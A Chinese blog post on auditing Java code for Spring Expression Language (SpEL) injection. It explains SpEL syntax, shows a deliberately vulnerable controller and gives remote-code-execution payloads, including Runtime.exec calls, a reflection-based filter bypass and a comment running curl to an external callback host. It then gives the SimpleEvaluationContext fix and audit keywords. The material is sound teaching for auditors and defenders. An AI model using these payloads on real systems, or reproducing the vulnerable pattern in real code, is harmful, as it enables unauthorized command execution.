java代码审计-SpEL表达式注入

0x01 前言

Spring Expression Language（简称 SpEL）是一种功能强大的表达式语言、用于在运行时查询和操作对象图；语法上类似于Unified EL，但提供了更多的特性，特别是方法调用和基本字符串模板函数。SpEL 的诞生是为了给 Spring 社区提供一种能够与Spring 生态系统所有产品无缝对接，能提供一站式支持的表达式语言

0x02 SpEL 语法

SpEL使用 #{...} 作为定界符，所有在大括号中的字符都将被认为是 SpEL表达式，我们可以在其中使用运算符，变量以及引用bean，属性和方法如：

引用其他对象: #{car}
引用其他对象的属性：#{car.brand}
调用其它方法 , 还可以链式操作：#{car.toString()}
其中属性名称引用还可以用\(符号如：`\){someProperty} `

除此以外在SpEL中，使用T() 运算符会调用类作用域的方法和常量。类类型表达式：使用"T(Type)"来表示 java.lang.Class 实例，"Type"必须是类全限定名，"java.lang"包除外，即该包下的类可以不指定包名；使用类类型表达式还可以进行访问类静态方法及类静态字段
例如，在SpEL中使用Java的Math类，这样使用T()运算符：#{T(java.lang.Math)}
T()运算符的结果会返回一个java.lang.Math类对象

0x03 SpEL 使用方式

SpEL 在求表达式值时一般分为四步，其中第三步可选：首先构造一个解析器，其次解析器解析字符串表达式，在此构造上下文，最后根据上下文得到表达式运算后的值

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

创建解析器：SpEL 使用 ExpressionParser 接口表示解析器，提供 SpelExpressionParser 默认实现
解析表达式：使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象
构造上下文：准备比如变量定义等等表达式需要的上下文数据
求值：通过 Expression 接口的 getValue 方法根据上下文获得表达式值

Expression 接口：表示表达式对象，默认实现是 org.springframework.expression.spel.standard 包中的SpelExpression，提供 getValue 方法用于获取表达式值，提供 setValue 方法用于设置对象值
EvaluationContext 接口：表示上下文环境，默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类，使用 setRootObject 方法来设置根对象，使用 setVariable 方法来注册自定义变量，使用 registerFunction 来注册自定义函数等等

spel表达式有三种用法：

注解

@value("#{表达式}")
public String arg;

这种一般是写死在代码中的，不是关注的重点

<bean id="Bean1" class="com.test.xxx">
	<property name="arg" value="#{表达式}">
</bean>

这种情况通常也是写死在代码中的，但是也有已知的利用场景，就是利用反序列化让程序加载我们实现构造好的恶意xml文件，如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等

在Controller中处理外部传入的表达式

这部分是关注的重点

@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
    ExpressionParser expressionParser = new SpelExpressionParser();
    Expression expression = expressionParser.parseExpression(spel);
    Object object = expression.getValue();
    return object.toString();
}

0x03 漏洞利用

漏洞可以利用的前置条件有三个：

传入的表达式未过滤
表达式解析之后调用了getValue/setValue方法
使用StandardEvaluationContext（默认）作为上下文对象

spel表达式功能非常强大，在漏洞利用方面主要使用这几个功能：

使用T(Type)表示Type类的实例,Type为全限定名称,如T(com.test.Bean1)。但是java.lang例外,该包下的类可以不指定包名。得到类实例后会访问类静态方法与字段。

T(java.lang.Runtime).getRuntime().exec("whoami")

直接通过java语法实例化对象、调用方法

new ProcessBuilder("whoami").start()

//可以利用反射来绕过一些过滤
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}

0x03 案例

/**
     * SpEL to RCE 
     * http://localhost:8080/spel/vul/? 
expression=xxx. 
     * xxx is urlencode(exp) 
     * exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io") 
     */ 
@GetMapping("/spel/vuln") 
public String rce(String expression) { 
    ExpressionParser parser = new SpelExpressionParser(); 
    // fix method: SimpleEvaluationContext 
    return parser.parseExpression(expression).getValue().toString(); 
}

如果不指定默认使用StandardEvaluationContext作为上下文对象，注意payload需要URL编码
payload:http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)

0x03 漏洞防御

使用SimpleEvaluationContext作为上下文对象。
修复代码：

    @GetMapping("/spel/sec")
    public String spel_sec(String expression) {
        ExpressionParser parser = new SpelExpressionParser();
        //只读属性
        EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
        return parser.parseExpression(expression).getValue(context).toString();
    }

0x04 总结

审计方法：
可以先全局搜索 org.springframework.expression.spel.standard, 或是 expression.getValue()、expression.setValue()，定位到具体漏洞代码，再分析传入的参数能不能利用，最后再追踪参数来源,看看是否可控
关键词：SpelExpressionParser 、StandardEvaluationContext
参考链接：Java特色-表达式注入漏洞从入门到放弃

posted @ 2023-03-09 10:10 Ne2o1 阅读(617) 评论(0) 编辑收藏举报

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